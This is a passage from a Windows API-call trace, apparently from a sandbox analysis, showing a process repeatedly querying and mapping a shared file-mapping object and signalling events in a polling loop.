ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.894] ResetEvent (hEvent=0xdc) returned 1 [0093.894] SetEvent (hEvent=0xe0) returned 1 [0093.894] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.894] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.895] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.895] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.895] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.895] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.895] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.895] ResetEvent (hEvent=0xdc) returned 1 [0093.895] SetEvent (hEvent=0xe0) returned 1 [0093.895] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.895] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.896] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.896] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.896] ResetEvent (hEvent=0xdc) returned 1 [0093.896] SetEvent (hEvent=0xe0) returned 1 [0093.896] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.896] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.897] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.897] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.897] ResetEvent (hEvent=0xdc) returned 1 [0093.897] SetEvent (hEvent=0xe0) returned 1 [0093.897] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.897] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.898] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.898] ResetEvent (hEvent=0xdc) returned 1 [0093.898] SetEvent (hEvent=0xe0) returned 1 [0093.898] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.898] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.898] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.898] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.898] ResetEvent (hEvent=0xdc) returned 1 [0093.898] SetEvent (hEvent=0xe0) returned 1 [0093.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.899] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.899] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.899] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.899] ResetEvent (hEvent=0xdc) returned 1 [0093.899] SetEvent (hEvent=0xe0) returned 1 [0093.899] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.900] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.900] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.900] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.900] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.900] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.900] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.900] ResetEvent (hEvent=0xdc) returned 1 [0093.900] SetEvent (hEvent=0xe0) returned 1 [0093.900] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.901] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.901] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.901] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.901] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.901] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.901] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.901] ResetEvent (hEvent=0xdc) returned 1 [0093.901] SetEvent (hEvent=0xe0) returned 1 [0093.901] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.902] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.902] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.902] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.902] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.902] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.902] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.902] ResetEvent (hEvent=0xdc) returned 1 [0093.902] SetEvent (hEvent=0xe0) returned 1 [0093.902] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.903] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.903] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.903] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.903] ResetEvent (hEvent=0xdc) returned 1 [0093.903] SetEvent (hEvent=0xe0) returned 1 [0093.903] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.904] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.904] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.904] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.904] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.904] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.904] ResetEvent (hEvent=0xdc) returned 1 [0093.904] SetEvent (hEvent=0xe0) returned 1 [0093.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.905] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.905] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.905] ResetEvent (hEvent=0xdc) returned 1 [0093.905] SetEvent (hEvent=0xe0) returned 1 [0093.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.906] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.906] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.906] ResetEvent (hEvent=0xdc) returned 1 [0093.906] SetEvent (hEvent=0xe0) returned 1 [0093.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.906] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.907] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.907] ResetEvent (hEvent=0xdc) returned 1 [0093.907] SetEvent (hEvent=0xe0) returned 1 [0093.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.907] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.908] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.908] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.908] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.908] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.908] ResetEvent (hEvent=0xdc) returned 1 [0093.908] SetEvent (hEvent=0xe0) returned 1 [0093.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.908] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.909] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.909] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.909] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.909] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.909] ResetEvent (hEvent=0xdc) returned 1 [0093.909] SetEvent (hEvent=0xe0) returned 1 [0093.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.909] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.910] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.910] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.910] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.910] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.910] ResetEvent (hEvent=0xdc) returned 1 [0093.910] SetEvent (hEvent=0xe0) returned 1 [0093.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.910] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.911] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.911] ResetEvent (hEvent=0xdc) returned 1 [0093.911] SetEvent (hEvent=0xe0) returned 1 [0093.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.911] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.912] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.912] ResetEvent (hEvent=0xdc) returned 1 [0093.912] SetEvent (hEvent=0xe0) returned 1 [0093.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.912] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.912] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.912] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.913] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.913] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.913] ResetEvent (hEvent=0xdc) returned 1 [0093.913] SetEvent (hEvent=0xe0) returned 1 [0093.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.913] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.913] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.913] ResetEvent (hEvent=0xdc) returned 1 [0093.913] SetEvent (hEvent=0xe0) returned 1 [0093.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.914] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.914] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.914] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.914] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.914] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.914] ResetEvent (hEvent=0xdc) returned 1 [0093.914] SetEvent (hEvent=0xe0) returned 1 [0093.915] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.915] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.915] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.915] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.915] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.915] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.915] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.915] ResetEvent (hEvent=0xdc) returned 1 [0093.915] SetEvent (hEvent=0xe0) returned 1 [0093.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.916] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.916] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.916] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.916] ResetEvent (hEvent=0xdc) returned 1 [0093.916] SetEvent (hEvent=0xe0) returned 1 [0093.916] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.917] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.917] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.917] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.917] ResetEvent (hEvent=0xdc) returned 1 [0093.917] SetEvent (hEvent=0xe0) returned 1 [0093.917] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.918] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.918] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.918] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.918] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.918] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.918] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.918] ResetEvent (hEvent=0xdc) returned 1 [0093.918] SetEvent (hEvent=0xe0) returned 1 [0093.918] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.918] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.919] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.919] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.919] ResetEvent (hEvent=0xdc) returned 1 [0093.919] SetEvent (hEvent=0xe0) returned 1 [0093.919] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.919] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.920] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.920] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.920] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.920] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.920] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.920] ResetEvent (hEvent=0xdc) returned 1 [0093.920] SetEvent (hEvent=0xe0) returned 1 [0093.920] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.920] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.921] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.921] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.921] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.921] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x9d0048, ResultLength=0x0) returned 0xc0000098 [0093.921] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0093.921] ResetEvent (hEvent=0xdc) returned 1 [0093.921] SetEvent (hEvent=0xe0) returned 1 [0093.921] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x200) returned 0x11f6058 [0093.921] WaitForMultipleObjects (nCount=0x2, lpHandles=0x11f6058*=0xdc, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0093.922] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11f6058) returned 1 [0093.922] NtQueryObject (in: Handle=0x164, ObjectInformationClass=0x2, ObjectInformation=0x9d0048, ObjectInformationLength=0x2800, ReturnLength=0x1adff90 | out: ObjectInformation=0x9d0048, ReturnLength=0x1adff90) returned 0x0 [0093.922] MapViewOfFile (hFileMappingObject=0x164, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0093.922] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x9d0048, Length=0x2800, 